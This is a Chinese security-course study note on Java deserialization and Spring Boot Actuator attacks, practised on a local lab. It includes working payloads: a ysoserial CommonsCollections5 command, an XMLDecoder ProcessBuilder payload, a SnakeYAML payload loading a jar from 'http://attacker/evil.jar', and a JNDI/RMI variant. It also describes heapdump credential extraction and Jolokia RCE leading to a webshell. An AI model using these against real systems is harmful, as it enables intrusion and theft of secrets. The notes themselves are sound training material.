当前位置: 首页 > news >正文

小迪安全v2023学习笔记(六十八讲)—— Java安全原生反序列化SpringBoot攻防

文章目录

  • 前记
  • WEB攻防——第六十八天
    • Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
      • Java安全 - 反序列化-原生序列化类函数
        • 原理
        • 检测
        • 原生反序列化类函数
        • 利用项目
        • 靶场演示
          • readObject
          • XMLDecoder
          • SnakeYAML
      • Java安全 - SpringBoot框架-泄露&CVE
        • 原理
        • 检测清单
        • 实战发现
          • SpringBoot识别
          • 黑盒发现(人工识别、BP插件)
          • 白盒审计(pom.xml,引用库,设置)
        • 泄露安全(配置密码,AK/SK等)
        • 泄露安全(利用类,CVE漏洞等)
        • 实战案例

前记

  • 今天是学习小迪安全的第六十八天,本节课主要讲了关于Java原生反序列化以及针对SpringBoot框架的攻防内容
  • 基本是了解工具的使用,实战为主,希望下去复现
  • 所有涉及到的工具已经全部打包至下方链接,需要自取:
    • https://pan.baidu.com/s/1KMM50vRe85WnTotK4fcMGw
    • 提取码:ming

WEB攻防——第六十八天

Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

Java安全 - 反序列化-原生序列化类函数

原理
  • 序列化是将Java对象转换为字节流的过程。而反序列化是将字节流转换成Java对象的过程,java反序列化的数据一般会以标记(ac ed 00 05)开头base64编码的特征为r00AB
  • 这里可以简单看一下:
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  public class Test {  public static void main(String[] args) throws IOException { // 反序列化对象 Person person = new Person("ling", 23);  Path path = Paths.get("./1.ser");  ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(path));  oos.writeObject(person);  oos.close();  // base64编码输出byte[] bytes = Files.readAllBytes(path);  String base64 = Base64.encode(bytes);  System.out.println(base64);}  
}  class Person implements Serializable {  private String name;  private int age;  public Person(String name, int age) {  this.name = name;  this.age = age;  }  @Override  public String toString() {  return "Person{" +  "name='" + name + '\'' +  ", age=" + age +  '}';  }  
}
  • 这里会生成一个1.ser文件,然后我们把他拿到010-Editor中看一下:
    在这里插入图片描述

  • 并且控制台也会输出该文件base64编码后的结果,可以看到是我们所说的特征:
    在这里插入图片描述

  • Java常见的序列化和反序列化的方法有Java原生序列化类和Json类(fastjson、jackson)序列化等

检测
  • 黑盒中一般通过流量捕获,根据上述说的特征去判断是否存在序列化与反序列化过程
  • 白盒中就根据特定的类方法、接口等去判断,更多是通过一些组件的历史漏洞去打
原生反序列化类函数
  • SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化与反序列化
    • YAML 是一种“对人友好”的数据序列化格式,设计目标是让配置文件、日志、接口描述等易读易写
    • 其文件扩展名通常为.yaml.yml
    • 语法特点是用缩进表示层级,用冒号分隔键值,支持列表、字典、多行字符串、锚点等。
server:port: 8080ssl: falsespring:datasource:url: jdbc:mysql://localhost:3306/demousername: rootpassword: secret
  • XMLDecoderxml语言格式序列化类函数接口
  • ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口
利用项目
  • 针对Java原生反序列化的利用,我们有如下三款工具可供使用:
  • ysoserial: https://github.com/frohoff/ysoserial
    • 最原始的,下面两个都是基于它的
  • SerializedPayloadGenerator: https://github.com/NotSoSecure/SerializedPayloadGenerator
    • 之前讲过的一个集成化环境,基于Windows.NET服务,搭建比较麻烦
  • Yakit: https://www.yaklang.com/
    • Yakit上的一个插件,图形化界面操作比较简单
靶场演示
readObject
  • 造成漏洞的代码如下:
java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);  
in.readObject();
  • 启动我们的JavaSec,然后选择Java反序列化,直接运行它给的payload
    在这里插入图片描述

  • 弹出计算器了,那么这个payload怎么来的呢,就是通过上面讲的工具生成的,这里我习惯用Yakit上面的图形化界面:
    在这里插入图片描述

  • 这里就直接勾选利用链里面的CommonsCollections5,然后选择win_cmd执行windows命令calc,将生成的payload放到刚刚的网站也是能成功弹出计算器了

  • 这个就类似于命令行执行:

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
  • 我们还有一个问题,这里的CommonsCollections5是什么呢?

  • CommonsCollections5 是 ysoserial 内置的一条 反序列化利用链(gadget chain) 的代号。

  • 它专门针对 Apache Commons Collections 3.1 – 3.2.1 这个库,利用它的一些关键类构造执行链

  • 因为这个代码里面用到了这个库,所以我们才会利用这个命令去生成我们的利用链:
    在这里插入图片描述

  • 其他可以使用的类,可以直接下拉查看:
    在这里插入图片描述

  • 你需要根据它已有的依赖去生成cc链,否则是不能成功利用的!

XMLDecoder
  • 其实就是把可执行的代码写成合法的<java>标签,让服务器解析XML时解析即可,造成漏洞的代码如下:
XMLDecoder decoder = new XMLDecoder(inputStream);
Object o = decoder.readObject();
  • 这里的payload为:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">    <object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1">            <void index="0">                <string>calc</string>            </void>        </array>        <void method="start" />    </object></java>
  • 意思是调用类java.lang.ProcessBuilder,这个类应该有印象吧?就是前面讲RCE时的一个利用类,然后给他传入一个参数值,类型为String,值为calc,最后调用这个类的start方法执行命令
SnakeYAML
  • SnakeYAML 在反序列化时可以指定 class 类型和构造方法的参数
  • 结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行
  • 利用的payload为:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/evil.jar"]]]
]
  • 或者靠JNDI注入来辅助完成攻击:
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp',autoCommit: true
}
  • 这里使用第二种payload的话,需要注意对方的Jdk版本以及TomcatSpringBoot版本

Java安全 - SpringBoot框架-泄露&CVE

原理
  • 前期的安全开发课程讲过,SpringBoot提供了一个Actuator模块帮助开发者监控和管理SpringBoot应用,比如健康检查、审计、指标收集、HTTP跟踪等
  • 但是由于配置不当可能会泄露/actuator这个路径,当然这个路径泄露不是主要的,主要的是/env/heapdump这些敏感文件
检测清单
  • 这个项目是关于SpringBoot的一些漏洞检测清单:
  • LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list
  • 上面也包括了Java的一些重要路由,以及其他的漏洞,很全的一个项目
实战发现
SpringBoot识别
  • 利用上面清单中的漏洞之前,首先要看是不是SpringBoot框架
  • 识别的方式基本就以下几种:
    1. 通过插件识别 --> Wappalyzer或者OWASP Kit
      在这里插入图片描述

    2. 报错页面
      在这里插入图片描述

    3. icon图标
      在这里插入图片描述

黑盒发现(人工识别、BP插件)
  • 那怎么发现框架的漏洞呢,黑盒中主要是靠人工识别,或者插件自动识别

  • 这里人工就是直接在后面加/actuator看看有没有泄露这个东西

  • 插件的话就是通过BP上的APIKit去被动检测: https://github.com/API-Security/APIKit/releases

  • 下载下来之后直接导入即可:
    在这里插入图片描述

  • 当你开启BP代理访问页面时,他就会进行被动识别,比如这里访问靶场:
    在这里插入图片描述

  • 它就自动帮你抓到包了

白盒审计(pom.xml,引用库,设置)
  • 在白盒中,就看当前应用是否引用了这个Actuator库即可:
    在这里插入图片描述
    在这里插入图片描述

  • 或者你也可以通过它的一些配置文件(application.yml)来看是否开启:
    在这里插入图片描述

泄露安全(配置密码,AK/SK等)
  • 在实战中,如果泄露了heapdump文件,那么可以通过工具去解析这个文件,可能会找到一些账号密码、AK/SK信息等

  • 这里的话基本不可能自己分析,一般会用到工具:

    1. JDumpSpider:将所有结果全部打印出来,需要自己一个一个翻
    2. heapdump_tool: 可以自定义查看的内容
  • 比如这里在靶场访问http://localhost:8891/actuator/heapdump下载heapdump文件:
    在这里插入图片描述

  • 然后使用上面的工具进行分析:
    在这里插入图片描述

  • 这里就根据关键字搜索,想搜索什么就搜索什么

泄露安全(利用类,CVE漏洞等)
  • 这里主要是识别到为SpringBoot框架时,我们也可以直接通过工具去扫它可能存在什么漏洞

    1. SpringBoot-Scan:专门针对SpringBoot的漏洞扫描工具
    2. SpringBoot
    3. SpringBootVulExploit:SpringBoot的漏洞利用清单
  • 这里仍然以靶场为例,知道是SpingBoot的情况下,直接开扫:
    在这里插入图片描述
    在这里插入图片描述

  • 这里它会列出哪些路径是存在actuator泄露的,当然这里也可以进行漏扫:
    在这里插入图片描述

  • 这里扫到了两个可能存在的漏洞,我们利用的是最后那个Jolokia

  • 它需要配合JNDI注入去利用,比如这里我们在本地去开一个JNDI的服务器:
    在这里插入图片描述

  • 然后通过这个SpringBootExploit工具去连接:
    在这里插入图片描述

  • 可以看到就成功连接到本地了,然后我们点击JolokiaLogbackRCE利用,我这里是利用失败的,目前不知道原因,但小迪是成功的,会回显这个东西:
    在这里插入图片描述

  • 然后通过冰蝎4.0连接即可

实战案例
  • 这里用一个案例来演示一下,首先安装就不用说了,和之前差不多,将数据导入数据库,然后打包运行即可
    在这里插入图片描述
    在这里插入图片描述

  • 我们登录进去,账号密码为admin/123456,这个是一个监控平台

  • 看插件我们可以知道它是Java写的,那就可能是SpringBoot框架

  • 这里我们假设是黑盒测试,什么都不用管,直接BP边抓包边点点点就行了,它自动就帮我们看有没有actuator泄露了:
    在这里插入图片描述

  • 然后就看它有没有什么heapdumpenv等等,直接看就完了,这里就不测试了

http://www.dtcms.com/a/342733.html

相关文章:

  • iOS沙盒机制
  • 【系统信息相关】datecal命令
  • React + Antd+TS 动态表单容器组件技术解析与实现
  • (栈)Leetcode155最小栈+739每日温度
  • Python爬虫实战:研究puzzle,构建谜题类数据采集分析系统
  • 编程语言与存储过程:业务处理的速度与取舍
  • 3ds Max 渲染动画总模糊?
  • 基于stm32的智能建筑能源管理系统/基于单片机的能源管理系统
  • 【Java SE】认识数组
  • 【Protues仿真】基于AT89C52单片机的舵机和直流电机控制
  • 【新启航】3D 扫描逆向抄数全流程工具与技能:从手持设备到 CAD 建模的 10 项核心配置解析
  • windows10安装playwright
  • Workerman在线客服系统源码独立部署
  • 笔记本电脑Windows+Ubuntu 双系统,Ubuntu无法挂载Windows的硬盘 报错问题解决
  • TDengine IDMP 运维指南(常见问题)
  • 天眼应急案例(二)
  • 一句话生成uml图相关操作
  • MTK平台蓝牙学习-- 如何查看蓝牙连接参数
  • Vitest 测试框架完全指南 – 极速单元测试解决方案
  • selenium3.141.0执行JS无法传递element解决方法
  • 【自记】Power BI 中 VALUES 和 DISTINCT 在可接收的参数类型上的区别。
  • 【每天一个知识点】 时空组学(Spatiotemporal Omics)
  • Nginx学习记录
  • 移动端网页调试实战 IndexedDB 与本地存储问题的排查与优化
  • 阿里云 AI 搜索 DeepSearch 技术实践
  • 网络流量分析——基础知识(二)(Tcpdump 基础知识)
  • 21.web api 12
  • Mybatis执行SQL流程(六)之Executor执行器
  • ubuntu配置Zotero+翻译插件+坚果云同步
  • 30、ICS/OT 攻击溯源 (电力系统) 模拟组件 - /安全与维护组件/ics-attack-forensics